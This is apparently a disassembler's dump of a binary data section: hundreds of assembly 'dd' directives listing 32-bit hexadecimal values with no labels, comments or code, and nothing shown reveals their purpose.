dd 9570BAA6h, 9B3176FAh, 517A56CEh, 0D7FC5B8Eh, 0E015129Dh
dd 82069202h, 955253ECh, 3760E64h, 0AAEAA084h, 7718ABB4h
dd 25DEDC55h, 0BA4D37CAh, 0FD40229Bh, 196432E2h, 76761CC2h
dd 0F3FCAFF0h, 0D24C0F3Bh, 0D3609EC9h, 0E65973F8h, 0C426C8CFh
dd 0D777275Eh, 0F1093632h, 8FF7D3D7h, 5C9CED2Eh, 0EDDB20FBh
dd 699083ACh, 639190E0h, 0DB19B145h, 631BB3B2h, 92D16C5Ch
dd 46C678C6h, 0F1660E21h, 0F1587B23h, 0A4DE927Ch, 0FE6E8A9Eh
dd 8BA6A83Eh, 10C7A85Ah, 59976F11h, 3906F91Dh, 0BE0BDDDAh
dd 53D931BEh, 136158B7h, 4D97DDBBh, 0AB3D8027h, 8D6B2827h
dd 0F216945Dh, 14E12F92h, 390F42B9h, 0AE511EFDh, 0E2C41A8Fh
dd 0A709C98Fh, 384829C5h, 61F6FAE5h, 0C174035h, 4652B18h
dd 5794A3BDh, 0EF6F700Bh, 0DDA5D519h, 4BCE0BBEh, 21CD6A28h
dd 0A2368C1Dh, 101AFF16h, 0C9967B29h, 720D404Dh, 0C2BEFEB9h
dd 0FF7DBDBFh, 0BA8BECA6h, 6832D175h, 0EC7D7417h, 0C9572566h
dd 520804DFh, 66D77617h, 0FC77A313h, 7000469Ah, 1AFF354Dh
dd 5C3BC874h, 831A09A1h, 6B72EB77h, 0EB2EE301h, 5F3EE2ADh
dd 767147A5h, 0A407B4FDh, 91060408h, 5537DD38h, 0C715F9F3h
dd 4BB193DAh, 53B69755h, 6E74283Bh, 45502DF6h, 0E1C96021h
dd 0E5EA6B3Eh, 71654F0Fh, 32E44B7Ch, 4DDCC4Ah, 0A9B1B905h
dd 0DF88E4CDh, 0D0C267B6h, 3BA114F8h, 0AA782FDEh, 8F5DCCF2h
dd 0A0F91B0Ah, 503DE9D8h, 0C4D4E217h, 0E4DFFB32h, 6D89470Fh
dd 9CB47CB8h, 0F5AB9877h, 0F6867BEAh, 4CFA70D2h, 0CD200BF2h
dd 64824258h, 3FC8C2B5h, 0B7EA36CBh, 425E74E3h, 0CC01ED39h
dd 0A26BB708h, 0F144F29Fh, 74B0EDF0h, 1654A79Ah, 3BA50F45h
dd 0B0D7AEA2h, 68DA047h, 0FC18AE7Eh, 0EE85862Eh, 1CD6D268h
dd 0A33E9C43h, 0C36DE437h, 0F860C13Ah, 0A2444704h, 69A88A13h
dd 0E68D8D94h, 8ADDF95Eh, 67652E76h, 78904F02h, 0FD444724h
dd 0FE1E4A8Dh, 0D7E3B1ECh, 34D84476h, 4786AD95h, 0BBAFBFACh
dd 1C62E562h, 39CA43D8h, 0C6CCBB4Eh, 0EC1D4E9Fh, 0F93C12DEh
dd 1B284286h, 0A1A778B8h, 0DD874081h, 6706C83Ch, 6A05E4CCh
dd 1C681D35h, 620C7A6Dh, 96FACD63h, 9C9B27CBh, 0AE4DAB2Ah
dd 79EB37CCh, 6DE14F7Ch, 41FBDFCBh, 213B7AFAh, 5E0D03C7h
dd 47C178DBh, 7BAE72E3h, 0CC8A866h, 8FAC76B0h, 0C3C3CF1h
dd 0C4012D0Bh, 9A034EBBh, 7DC3FE6Ch, 0FFF72DA7h, 90FD81C3h
dd 485EAAEDh, 3CA93D35h, 0C04155B9h, 245A2427h, 102F5215h
dd 86BCFE6Fh, 520261CBh, 0DB5E52Bh, 0F9CABE25h, 35CCD72Fh
dd 0AAC6051h, 0F7287910h, 70E9E546h, 9B81BDD3h, 6FF00B43h
dd 984E18F8h, 0BA7D6493h, 0E6CB7725h, 6581403Fh, 6ADE545Bh
dd 79376C8Fh, 42C0BF50h, 4ECC40DEh, 5DBA4A20h, 0C00DF244h
dd 4A3BBCD5h, 0ECE7FBBCh, 6FC4BE88h, 0BCD40Fh, 648E6229h
dd 0A896F69Eh, 2002EA6Dh, 397E9507h, 5E8AAF2Ah, 298108DCh
dd 8219AF60h, 54D30346h, 659EA62Bh, 0FB5ADE03h, 0A279D105h
dd 7642892Ch, 0D6C021A8h
dd 0F191C345h, 87ABDB4Bh, 277E21h, 2EF3B0FAh, 9467A1BBh
dd 0E755B1E0h, 261902B7h, 0BBBDAF59h, 9559DD7h, 0FB3DF285h
dd 0D1B1AA66h, 5671A334h, 0AE6420FCh, 1B860571h, 0EC575745h
dd 154F97AFh, 0F04DE269h, 1F4A1709h, 46E55E67h, 33E84B05h
dd 77FF7F75h, 0F94CBF9Dh, 0B048BF78h, 0C3EA87FAh, 0E6A70860h
dd 9F244C7Ah, 5C2BE226h, 42FD7B6Dh, 0B9C906E2h, 12953331h
dd 63038E63h, 0F8079E19h, 72D58360h, 993DC55Dh, 6E3ADF62h
dd 37C01344h, 0EC08B7AAh, 24F69C64h, 0C02382B2h, 0AC30E841h
dd 3C62748Fh, 0F80D6A8Eh, 0D7509E1Eh, 0CD4E3F01h, 83B4513Eh
dd 0D5410313h, 8B27661Ch, 88861E7Ah, 0AB8D360Eh, 2E57E731h
dd 2D23BE8Eh, 0EAB1F524h, 6DBD50E8h, 9F89B313h, 204B2A6Bh
dd 0DAE97485h, 9712B63h, 6E258AA4h, 8367F8F8h, 398BF481h
dd 0DB35EE45h, 16BD4665h, 2BF1B11Eh, 497D81E1h, 0CDF07151h
dd 3EF0874Ah, 0E99B738Bh, 0C713DFB4h, 2F726D53h, 0BD4E00A1h
dd 83736C30h, 0BD97643Eh, 0F1FE2986h, 533AEA96h, 55D86498h
dd 894DB80Dh, 0B5D923A3h, 0CC21DBD7h, 0C08DA11Eh, 1917B1F8h
dd 45A38322h, 54EFC2A6h, 65DDE23Dh, 44578C2Eh, 65728F8h
dd 5E8EAD4Ch, 7C867A8Dh, 0CB5784D0h, 0EFB4E207h, 0FE557760h
dd 0FA2C33D6h, 151AB795h, 296D2F6Ch, 17AADCBAh, 0A734B27h
dd 0B859EC8Eh, 0A4D40512h, 8499897Ch, 0BC8BA6C4h, 9EEDD967h
dd 0FED39F54h, 0E515CC4Fh, 0B3EACBCBh, 360CFF9Bh, 6A8BA3ADh
dd 93DEEA90h, 0EAA867B3h, 0C9D36289h, 45818CBAh, 9132D1E5h
dd 0AA75BFE1h, 0B8C2B4Ch, 3E7C9543h, 0EC790160h, 0A109AA42h
dd 8740B196h, 49489212h, 0BEC6A5FEh, 227A49E6h, 84C61F06h
dd 0AF05509Eh, 0ADB0DD36h, 0A4F2C964h, 0CBF9AE6Dh, 957451C2h
dd 50AE3DFCh, 1EA673E7h, 0D3EF2CCCh, 600751B4h, 60204F50h
dd 43088387h, 0C8399DD9h, 12E0BA6Ah, 128D9F1Bh, 0DE1216EBh
dd 0E195A840h, 8A5BCFE8h, 1BE163D2h, 75F5D8F3h, 0F21E722Eh
dd 0F029F444h, 3F35B977h, 298656FBh, 247FE540h, 0BBC95527h
dd 8FE8BD65h, 0A60B4CA4h, 32FF6D43h, 0C88F9A35h, 2DB2064Eh
dd 5F31A864h, 0A27CC09Ch, 72FA480Eh, 38B9ABA0h, 9D52CB98h
dd 14EF5367h, 2F25AEDEh, 33DCB186h, 38F95F9Ah, 7D3B4E74h
dd 0CAE41410h, 0B39DF815h, 0E7BA9E8Dh, 0B212B213h, 0D87A23Ah
dd 0F940CE99h, 4C72795Ch, 0A08C752Ah, 26A1F51Ch, 0EACA070Bh
dd 3473B00Dh, 0F067B721h, 38B7F1F2h, 9EF05E2Ch, 0DB43A72Eh
dd 9428A0BFh, 5370ED91h, 0A1327EBCh, 0A7EA88CBh, 0BDF24A87h
dd 2A2A6274h, 7182C223h, 801BD1AFh, 71F6C9DAh, 38D4460Ah
dd 0A2D2AAEDh, 0FC963794h, 867308F5h, 0C19D2E68h, 0BD4C7D6h
dd 0E1030E39h, 0FDABA065h, 1850A1B0h, 5EF40E11h, 0B9D8B884h
dd 0BC67564Bh, 1015DAB8h, 486D1EFFh, 0D2F585D2h, 3931640Ch
dd 19674ACBh, 0AC495E5Dh, 7B43BDA0h, 30D68582h, 0CFC75E44h
dd 8A40931Ah, 0DCAC16A3h, 0ECC1CEBFh, 0D58C3F2h, 1198C89Ah
dd 9258A999h, 8FAF4859h, 3051ED82h, 98919299h, 57CDF748h
dd 0F1693D6Ah, 3ECEADB0h, 9A06D0C9h, 0D5773CC9h, 0AC04C398h
dd 199F799Ch, 0C12E41CBh, 0AECBEE9Ah, 0E8755897h, 1491E8A2h
dd 70F46B1Ah, 0A1656D9Fh, 133374FEh, 0D82C4036h, 801833C3h
dd 971D788Fh, 0D75980Dh, 40D46849h, 45B9B26Bh, 0AA83A1B8h
dd 2607361Dh, 37A727D3h, 0FD3EB877h, 0D9C73D70h, 0E957A51h
dd 21E7C49Eh, 342A3580h, 9E907037h, 0D757F153h, 60BC8C52h
dd 0B2AAA0D2h, 0AC161C6Dh, 3514EB6Bh, 0B0133945h, 313785Bh
dd 5A52C273h, 0AEE2075Bh, 0DA849732h, 0ABA2F9BAh, 0B5CA244Ch
dd 4DE35B9h, 96569A28h, 46856D75h, 40432973h, 0D133C7B1h
dd 0B5A40A19h, 8CF0D7D6h, 35DB6A9Bh, 0D7528B73h, 9492AEDDh
dd 39A9D492h, 0CEF963F1h, 31386833h, 7EC96E7Ch, 96762D07h
dd 8DB8DD31h, 0CF107A58h, 121EFBDCh, 0D653DEF3h, 730A7C95h
dd 0B53B4FE8h, 8AF2E7CDh, 5A0E33F0h, 651BCD91h, 30BA76E9h
dd 4F5A8625h, 0B87D412h, 90931785h, 0ABCBCF6Ch, 0F4391D39h
dd 6CF5E61Ch, 0ACCEC31Ch, 73AA6F4h, 0F92EB3DCh, 9E865Ch
dd 0BA3A6F8Dh, 32677E78h, 0FBDEE9E9h, 4D275B5Eh, 2166C478h
dd 1F195AADh, 29BF39D4h, 306792F4h, 0A9D6F102h, 0B1AF9892h
dd 5313D8A5h, 4B1B9428h, 6E71C9F3h, 0C01DC5C4h, 0B3EAA9E6h
dd 0D225C10Ah, 40B6C89Ah, 44932589h, 0C250D973h, 9C50DB49h
dd 0BD26E8DAh, 98365AE9h, 63B48150h, 651B17CFh, 93F604F9h
dd 0E99E894Fh, 340DBC65h, 0AF5ECB31h, 78A6DF29h, 16E0454h
dd 3100A98Fh, 47AE56DEh, 0C97F88B5h, 74291D5Ah, 0EEB190C1h
dd 1E03B7DFh, 0F1DB303Ah, 386DEFA4h, 26AA2B11h, 265299CDh
dd 5FA8689Ch, 339B382Dh, 9046B8E7h, 855EF036h, 0F2FE5658h
dd 2DF6C63h, 878A5262h, 79EEF2D0h, 0C1CE1D9Ah, 81427054h
dd 75D2022Ch, 0B3417535h, 3C6F532Ch, 13B56FD1h, 92BEC56Ch
dd 0BA016355h, 0C5918B7Fh, 495304B2h, 63289732h, 0AE41B8CFh
dd 709B88AAh, 934F66E8h, 0AE32E296h, 0BDC5C5F0h, 9CEF020Dh
dd 0D188F376h, 0E4A06BD9h, 0A60AFA30h, 76828430h, 9CB2ADF4h
dd 1667BB41h, 5198F8DBh, 259884Eh, 5001733Dh, 668C8E6Ah
dd 9CCBED47h, 346DBF31h, 0E69D7806h, 88A36EBCh, 64A314B7h
dd 26593BCh, 0ED2CCDE7h, 7BC37CD8h, 80B33F16h, 62206F20h
dd 71C2F041h, 9029AA33h, 62440CB8h, 92D79303h, 211E992Bh
dd 1B3C9B5Fh, 7D187D9Ah, 97040327h, 514630A2h, 0E5C621CAh
dd 420C7353h, 95638FC5h, 714D2370h, 7FF2D34Eh, 1DA0D71Ch
dd 0D99F6181h, 1B693492h, 15906527h, 7A066FC1h, 422C92B7h
dd 7B135492h, 737ECFC4h, 0F45693A2h, 51BF72B4h, 42099584h
dd 41EEA051h, 0DE816EBCh, 26B219CFh, 5A232194h, 0B09D3470h
dd 9ED2F46Ah, 5AD61183h, 63F027BEh, 0DD3E9136h, 4245BECh
dd 294E2BB7h, 0C2B85898h, 940DFA9Dh, 0C0A7237Fh, 9692123Bh
dd 0F392BAF2h, 80D51749h, 7D1A18EAh, 53293F09h, 7B66C114h
dd 0D56539E3h, 0EE1B625Dh, 2BAB0FA2h, 0FDFEC0EBh, 245C0AA8h
dd 0EFE476C8h, 1F0D1B12h, 0A81D7FE9h, 79390F0Ch, 4D8E68E8h
dd 0DE4EAF2Ch, 5B411B21h, 0F8414197h, 262ED2CEh, 71CD6A42h
dd 0DB84F60Eh, 8103EFD7h, 0AB365FADh, 0E970938Ah, 0A5649A2Eh
dd 644907D1h, 934C2E22h, 0B67851Fh, 17C44439h, 4F190475h
dd 0EB488C39h, 4B32A12Ch, 20E9B3C2h, 685CB011h, 0C2661D5Eh
dd 459F4E6Ch, 0CD21B0FAh, 0E11FC7F3h, 0F81D585h, 0DA1263D3h
dd 0ACDF7934h, 4974DC43h, 46F4096Bh, 2B0A44E1h, 630E0540h
dd 1E6127D4h, 48FDE805h, 4117653Dh, 6243B3E3h, 45EB8CDh
dd 805F3EF3h, 53AB25B3h, 2377E14Fh, 54323DD5h, 39252280h
dd 0B1F97BFCh, 994867Fh, 0EFF28215h, 0F60B24B2h, 7A79238Ah
dd 0A55C4EBEh, 0B26C1EEAh, 0A2E6C624h, 0A8BEFA63h, 0E99AFEE8h
dd 9A2190B6h, 0D80EBFFAh, 81992EBCh, 0C19E926h, 2495D2Eh
dd 0C9C1A19Bh, 58E05AD2h, 0D4C83060h, 51D93EEAh, 53F5D633h
dd 7EDAFE89h, 2A6A2A2Ch, 1F0B1425h, 0F07DB41h, 0AFF1D5F3h
dd 3EDB2E80h, 31FBD6ACh, 0B664DA9h, 0F131FA20h, 0D33C0664h
dd 0E7A82B5Eh, 0BECF292Eh, 0E48B48D6h, 7764049h, 744D7621h
dd 4B2B2EC3h, 6B1C9336h, 7EAB6589h, 686F2C4Fh, 4B81AA6Ch
dd 2A993C90h, 0FFA4CA63h
dd 0ECB33225h, 0B2EB0305h, 754F2741h, 0A096F85Bh, 9F457F9h
dd 36EEA1A1h, 0AD9077B6h, 0FDB4C58Bh, 52C87AC1h, 6CD03EAEh
dd 29E8B5EEh, 0D69D1594h, 3E3F8D47h, 0DD502418h, 0BBA52C4Ch
dd 0A6BFEF93h, 0CDA17675h, 0DE752807h, 0EEE14787h, 86C1D13Ah
dd 62C1B9BDh, 11A1DAE7h, 127C1E5Fh, 2F83E3A1h, 7AFEEA48h
dd 0C847BA99h, 7052C222h, 0FBFBCBB6h, 59336E36h, 300A61B7h
dd 0D48E8F0h, 0DA699BC8h, 8FE7B054h, 22F168DAh, 0C95576B1h
dd 8C06449Bh, 6FEA066Eh, 0C4E3FEE5h, 4BD16299h, 6FF5970Ah
dd 2F1A9472h, 0FAD3091Eh, 736D71C4h, 1C85CEF8h, 0DDBEF979h
dd 7C1F1808h, 962DA833h, 0B855479Ah, 72F04E00h, 0F56FC5A8h
dd 0C2AA25DCh, 9FB3F5D8h, 34FBB8DDh, 62EADAEDh, 1FE5B364h
dd 2DDDF886h, 29A46EDEh, 0D45A6CCCh, 95411336h, 883BCD5Bh
dd 0DF54D4E8h, 698D6F1Eh, 9EAD1039h, 0CFB749ACh, 7FD55D36h
dd 91EF8230h, 0CFDB4EF7h, 14BBBEB1h, 1B341FA0h, 0AFDF8090h
dd 0DDFE64A6h, 0A486DB00h, 0F0FE536h, 0BB0A7F1Fh, 282D0C35h
dd 116912F5h, 0DAE2F854h, 0BFC0FF8Ah, 728A7261h, 0BE8F037Bh
dd 1C9D77F6h, 227EF2EDh, 5FE48B2Bh, 6A7612C4h, 995F3996h
dd 178624EDh, 972AA3DEh, 0DB93127h, 94877968h, 38C55051h
dd 40529CEDh, 0AE302A42h, 867D5CF6h, 0B61B2DE7h, 4A9BB055h
dd 0F9F17870h, 1BAEB7A0h, 320ABD88h, 0D7A788E9h, 9031E167h
dd 0A171B5C7h, 0DDF86DA2h, 22E1ECA0h, 4DB80388h, 0E60212Bh
dd 0ED9DAA7Dh, 0A66833D4h, 84A64E3Ah, 28AF08B5h, 4BC9641Eh
dd 0E6ADB33Ch, 0DF1AC171h, 92D84F17h, 0F743AFB1h, 0DB53274Ah
dd 0AD22469Dh, 0B0DC1215h, 5D7CD07Eh, 0AA725083h, 0AB33803Ah
dd 579783C8h, 0D237ABBEh, 0FC424CA9h, 983B2842h, 53825002h
dd 59896E0Ch, 65A4A7FEh, 68EE1CF6h, 78F48BBDh, 1DCB22C0h
dd 0F0B56Ch, 79BB454Eh, 25B45302h, 0C297D287h, 4BF98EF5h
dd 46566299h, 0A246528Eh, 0B8367E6Eh, 0C2C2DF4Bh, 18223DE1h
dd 0E36B17D2h, 5E437A70h, 0F5CF3442h, 463896B7h, 896989C9h
dd 1B0F4CA4h, 0FE9B2EA5h, 0A1ECE15h, 3E81DB49h, 0E6CF983Fh
dd 7AF1A66Bh, 3C936F78h, 8FB4C07Fh, 0BF8BF927h, 83D0953Bh
dd 0B83E480Bh, 4A8D1696h, 72714837h, 63C375E2h, 4666B87Ch
dd 0DA2EF82Eh, 74144897h, 5558F31Eh, 77B15F92h, 0EDCD2A2Dh
dd 3C784CC5h, 4365317Eh, 7EDD49A8h, 0C6BA6D26h, 5E285002h
dd 8FC2C1EEh, 0A02BD31Fh, 0B285169h, 7EC9F0B4h, 0AA1C4EADh
dd 0E97747FEh, 8E12B239h, 3214D1D1h, 42E3A62Ah, 20CA82FCh
dd 4499FCEBh, 0AA97609Fh, 0CE8159C9h, 91B6A3B6h, 289472Dh
dd 9C7C945Ah, 0E6494AA6h, 10098988h, 0A76CD12Fh, 45CE7B4Ah
dd 381F4214h, 59D47BEh, 0D01F845Fh, 48416020h, 503AA1A3h
dd 0D82BFEBEh, 1390CEF3h, 0A78CAC82h, 0F7CE740Ch, 5BC59500h
dd 0F337BC8Ch, 1CAB1271h, 4C4BB0BDh, 0D875E44Ah, 42432FEBh
dd 36A969D2h, 1AC6EB84h, 0B9AD3AE2h, 0AE75C64Dh, 0CA6B5E81h
dd 216B3428h, 0DE13404Ah, 84DB5C81h, 0EBFFE7FEh, 0D724425Bh
dd 515F8B90h, 56549945h, 5F02C0F4h, 0CF4C550Dh, 0AC1A4326h
dd 0C1E25AF6h, 112D119Ch, 0EFC884B7h, 0CE7E6F16h, 5CBC47D6h
dd 40A60AD3h, 5266E340h, 17601E5Eh, 0A79F20E0h, 0CEA0A433h
dd 0E80A7D43h, 97B1B359h, 2C13FDE0h, 0D324E7A8h, 477099C9h
dd 0FD2BC78Dh, 566FE9B9h, 33F284D1h, 9FC0DAEEh, 0B5CEA863h
dd 2F9591A0h, 45861894h, 2770162Ah, 0F29DE62Bh, 714391F0h
dd 854DF646h, 7F46656Dh, 0DC4ED7C5h, 3ED18BD1h, 0C006D736h
dd 35762F90h, 0A1FE0A31h, 0ABB89698h, 0EF381209h, 2237CF7Fh
dd 6A3B3291h, 22338695h, 504AF7CAh, 3943D79h, 27B02F91h
dd 6D1AA6FCh, 0F232F210h, 49A13A0Eh, 1329A501h, 4FFEC7B4h
dd 0EDB4F228h, 0BC2AA1BFh, 979551B6h, 0B55D679Fh, 2AD1E9FBh
dd 7136E541h, 0C38BAAA6h, 0E4E04E17h, 37E398D8h, 81C890BDh
dd 61AF7C7Ah, 6545949Fh, 8D664C15h, 0A2C734D0h, 1E28063Ch
dd 0D845DC14h, 0B1CC9CE9h, 58A13FFh, 9C7CE3E1h, 0B6C9BE84h
dd 0E3A40384h, 0DF91ED04h, 5AC801C1h, 0C27AB4DFh, 804E7B2Dh
dd 318C79B6h, 0EC4B27CBh, 0D2189121h, 0DCB14BFEh, 0A30FF32Eh
dd 3977C5A5h, 0BF6BC272h, 0C0D7CA0Ch, 8E9A33Ah, 0C5AEF790h
dd 2DFAEE0Ah, 6079F3A9h, 4BA3A628h, 0E93C9F1Fh, 3753E6F5h
dd 3D60B408h, 9A80650Dh, 8EE299FDh, 98DC6DAEh, 0AE15869Eh
dd 0E5E38EF1h, 938CFFE4h, 0ABAFB5B7h, 0B2803CF5h, 0C17B1404h
dd 62A2F71Fh, 5A0AAFDFh, 0FDECE51Dh, 0F560262Bh, 0C48077ADh
dd 21DE5D21h, 88828886h, 87D3E884h, 0F95B001Dh, 0B196958h
dd 0E7552FD0h, 4FF645EDh, 0B729A714h, 23AD4EAAh, 0A151E14Ch
dd 0A20AD8A5h, 0B650ED3Ch, 1E8EC166h, 274635E5h, 5B4E4C33h
dd 0CF98551Ch, 0DE88D33Ch, 534B49C1h, 0FF8ACA42h, 0E4805B8h
dd 97330765h, 81927E5Eh, 277CB7C4h, 38E3275h, 954FE604h
dd 0EB7702A5h, 3DF81338h, 16BE96E5h, 949DD216h, 0A63EC74Ch
dd 58243403h, 0B043DA4Dh, 47F37016h, 3DBDB08Bh, 0D72EE41Dh
dd 8F57DEDBh, 7B89880Bh, 0C94C00C6h, 0F4A44DC7h, 4A106779h
dd 0D01DCBCh, 0D3FF8F2Eh, 8829541Dh, 68AFA084h, 0B9EA4E37h
dd 0F2A0CCE0h, 0CE8B41BAh, 7B8821FBh, 7BFF2B3Dh, 0F4A98773h
dd 108906DDh, 6208A75Ah, 3EB683A3h, 0E6904A5Dh, 32749382h
dd 0E6527E05h, 0FE5993CAh, 0A79D343Ch, 0A72E55D0h, 4A6C5AE4h
dd 0C8F4F601h, 0EBF8320Ch, 90276A8Ch, 72AD0EA1h, 0F060510Eh
dd 0C8172165h, 89F82CB9h, 21A81AC3h, 87281B91h, 0B02D4E63h
dd 0C6D11270h, 0C8E12A7Bh, 0C987B2CEh, 8F994E0Dh, 20382A12h
dd 0D268E061h, 0FC221255h, 51A52449h, 44022666h, 5757B42Eh
dd 29B213A8h, 0A8AA71BFh, 33034256h, 972A7EC5h, 4C2CA25Eh
dd 0A25B88C5h, 0C47419FFh, 85050A2Ch, 186614EEh, 640AF7A1h
dd 5AD0446h, 0C8DD0D46h, 0D448618Fh, 1345107Eh, 71177CD2h
dd 0F2863E97h, 755C9331h, 0F1B7C4BCh, 7C7A01B2h, 8C676783h
dd 3561842Bh, 0A624D6A2h, 0C40D6CBh, 0DD1BDC1Dh, 0CFB0A406h
dd 0BEB37525h, 0F3B40430h, 0D0499894h, 6D561A55h, 6471DEB2h
dd 54159956h, 0AC599A80h, 261A732Eh, 0A1D5D2B8h, 883960EAh
dd 8E4F993Dh, 0FAD036CCh, 0DA32F7CCh, 0B66E4B45h, 0DDCE1DF1h
dd 0DE599FC4h, 8FD211B7h, 0B2D5B1AEh, 291B33B7h, 50A8E877h
dd 16D2DCB0h, 7832CDE1h, 879372C5h, 0B62DD201h, 21071AC7h
dd 8312C4D4h, 947649B1h, 4D0DA814h, 388767B5h, 935E06D4h
dd 0A28D71B0h, 0E6DCCB8Ch, 0B4D5C4C8h, 222A4A27h, 46D5A009h
dd 0DE1D1402h, 67D9BE58h, 4DD5B9B9h, 88E873D6h, 81B459E5h
dd 0E5774C88h, 0E70304EFh, 4577D12Eh, 0C1F8B490h, 0EC493910h
dd 5D83D6F0h, 30BF4C69h, 8A86C19Ch, 5F1C38F5h, 38AEFA7Eh
dd 0E729CB97h, 0BAD70A8Eh, 0CD181C85h, 0D56C00A7h, 0DC2D110Bh
dd 0E9BFE29Bh, 8918593Ah, 0C5CEA152h, 0C4823A18h, 0F3890BCAh
dd 0EBB71709h, 0C00AF3F6h, 0F4781430h, 0F0AA08E8h, 5AE3B487h
dd 0D5834F52h, 9B2DF871h, 0B9451B96h, 8537DB8Fh, 0DE806EFh
dd 8D532029h, 589595FDh, 0D116058h, 12099562h, 0FB742FDEh
dd 74B4ADC2h, 0C6289EE3h, 0D54CE181h, 7976905Ch, 953FD12Dh
dd 79D71F6Dh, 8D1D4087h, 8706F0DCh, 79D8250Eh, 0E6796F7Dh
dd 0EF4AB687h, 0D6FA95F0h
dd 5D74E7EAh, 0F5C8E983h, 0BB07CB68h, 488DFB7Fh, 8AD38407h
dd 0BAE73749h, 76CCD8A5h, 23B4E159h, 0F778A86h, 30BACE78h
dd 0AF2316CFh, 9DEEE81Bh, 8C14A814h, 1148112h, 621671C4h
dd 0D4B453C8h, 8205F548h, 0C4D8B5A5h, 88BC9845h, 88FBB518h
dd 1A5BD3F7h, 268DBDDCh, 0B11A0EE9h, 0F3802B68h, 5AE57B22h
dd 91DF7C4h, 0AE608196h, 0E46003D3h, 6836A3A9h, 0DC695A9Dh
dd 4E942959h, 5103AAE6h, 0ADA6FAE0h, 0A86492FCh, 9E4DBADFh
dd 3D7211D8h, 0FC2A173Dh, 8EFEFF06h, 0E1D0C7D0h, 62306578h
dd 1118ABC9h, 0DF42D402h, 48EFC116h, 12209355h, 0A7D09305h
dd 73A2EAD7h, 3640E3F4h, 94EB50D9h, 167B0097h, 0C66C3E50h
dd 0D6F21B06h, 0AEE31A3Fh, 0D49BFFC2h, 2D09D74Dh, 74F9E471h
dd 0EE94C7FAh, 0B73EE2AFh, 0ADFEC086h, 2AE9504Ah, 0C437E92Ch
dd 0A3860E9Eh, 0EB1F10BCh, 6A5D3F8h, 0AE83E270h, 0BF33205Ah
dd 9E4AE40Eh, 0A996D992h, 2C6537CEh, 39CE0774h, 3BDDC52Ah
dd 692EF306h, 0F2A8CB76h, 7D11451Dh, 0E7735ACFh, 0B7D893D3h
dd 6D10FFF5h, 0C1F5FE93h, 16D7AA1h, 0B82ACC71h, 8F44C561h
dd 3DABBF2Eh, 0BE357BB2h, 3F82C3C2h, 2D8FD7C0h, 8C0D1402h
dd 0F4E4BE5Bh, 0C34472Fh, 7101EFFFh, 4669CD36h, 0D4347C7Eh
dd 1636C0CAh, 0DA95FAF2h, 1306E08Ch, 7941572h, 0A2457966h
dd 1F5CAA56h, 59110260h, 0C860EF20h, 30D42043h, 2079944Dh
dd 88759A35h, 0D75912E4h, 0BFFCF079h, 0B3789D7Ch, 0B6D97AF2h
dd 0A5642D95h, 8F8A00F8h, 492DFF09h, 0DE99D041h, 0B7A7059Ch
dd 0C7E92AAAh, 2A326E35h, 2EE82BEAh, 0B6A2B04Fh, 0CD60A150h
dd 88D7A609h, 9731321h, 83AB2D57h, 0ABA5A330h, 4B5EE8C2h
dd 53F95530h, 90DF8171h, 40C60A63h, 5A4443E2h, 0BE86B186h
dd 7998B4D0h, 63CDEA74h, 0CCB7110Ah, 5B45087Dh, 0D8FB0ECFh
dd 0BCD37FC2h, 0D54BAA82h, 0C0DE49DEh, 31CA9EADh, 22F202E4h
dd 8CF61470h, 0E5EAD184h, 950D0394h, 0A9B43E1Fh, 1862E0D2h
dd 58C39E3Ch, 97CCCB48h, 0D3B80143h, 472BF587h, 9E9A0744h
dd 719BDAA6h, 0FAFF20A4h, 50D4CAB6h, 549A8388h, 6C0CE67Ah
dd 0F7A76479h, 0A67D10DFh, 0A2A98ED4h, 0EE312E8Ah, 0BD4B0703h
dd 21AD22A4h, 0AD8605E9h, 0B98CCFDAh, 33CBCA16h, 8B6088Ch
dd 5C0E525Bh, 0AD95DDF3h, 54E14FB0h, 0A39634BDh, 1A2DD59Bh
dd 54D9FE47h, 8AA3690Fh, 229CA963h, 0D2FE5F9h, 86D28D3Bh
dd 0EDD7D268h, 15E8BF65h, 0A1F25317h, 8EF1BD05h, 239021C2h
dd 0F49B1846h, 1EB95187h, 0C4617DC0h, 43674DFEh, 0AAA3406Ch
dd 3E8FDC2h, 0B34CD705h, 2EB0E25Ch, 4A448D8Ah, 31182989h
dd 2D4250EEh, 0DB7691F8h, 0A552876Fh, 0B5BDC83Ch, 0ACB1EE45h
dd 95AD7C78h, 0CCAC824Dh, 0ECA9AA80h, 0B3C5D71Fh, 74A3BBD2h
dd 5491016Fh, 3C13AF71h, 0D2021BC6h, 0C34C0B3Ch, 0B4C32D0Ch
dd 7E950A6Ah, 84F5386Ch, 0A63731A6h, 0C583BBCFh, 0DC6664A7h
dd 8D513634h, 0DC1E6FADh, 49265397h, 0A6A0D92Eh, 0A24AD673h
dd 944E9640h, 71328B91h, 0E177BD9Dh, 0B23FBDF7h, 907CDF5Bh
dd 141AFF91h, 6FB14CEh, 1CD19D5Ah, 0DF4BDEAEh, 0F616CE9Ah
dd 0E3C3B3E8h, 8EC05AB9h, 0C467C797h, 424D6FADh, 0F07618B4h
dd 2E4488D7h, 3DCD1FC4h, 0D413B625h, 0A3DF2865h, 9EFCD9E4h
dd 7A6337Dh, 2BDD4865h, 0F74A76CDh, 0ED51946Eh, 900757D3h
dd 7331E572h, 7A228F03h, 158D14F2h, 0AEE7AD63h, 8A63714Ch
dd 237FF810h, 0E4C046Fh, 73A9D80Fh, 8839A0C0h, 0AD01EBE6h
dd 0C0C5A6B7h, 0DB68EB28h, 0CF15BF22h, 2FCD806h, 3FD7A3E1h
dd 6B0C0AC9h, 1E29FF55h, 2915C411h, 0E2CC3549h, 206FB36Bh
dd 0A2FBFC64h, 90C4B61Ah, 141AD287h, 0D58F4DA2h, 4B9D3AB5h
dd 88708B42h, 48BD52D2h, 0C3D4BC1Dh, 8219726Fh, 70BD2A32h
dd 0D8962477h, 0C916EDC5h, 0B3C308ADh, 5312FB83h, 23A9B994h
dd 0EB69A000h, 633AEA7Dh, 67E7A2A1h, 85032C74h, 0F72F0AE7h
dd 0D181C6A6h, 2ABC184h, 8CD0BA6Fh, 91E8F696h, 9426E436h
dd 0EEBD1706h, 3BA57B52h, 0CEDDA95Ch, 6087420Dh, 0EF3E2169h
dd 833F6F02h, 4E7AA387h, 44E848A5h, 0AA5A920h, 0FA5BEBECh
dd 0DF938688h, 0F62FE04h, 0D7CE5F18h, 9F439D2Ah, 0F3660991h
dd 721E8A5Dh, 132C6206h, 88606963h, 0E2F0D37Eh, 5868E90Eh
dd 7B6F4CDDh, 0CA9AC732h, 0F25BA743h, 7896114Dh, 3A64117h
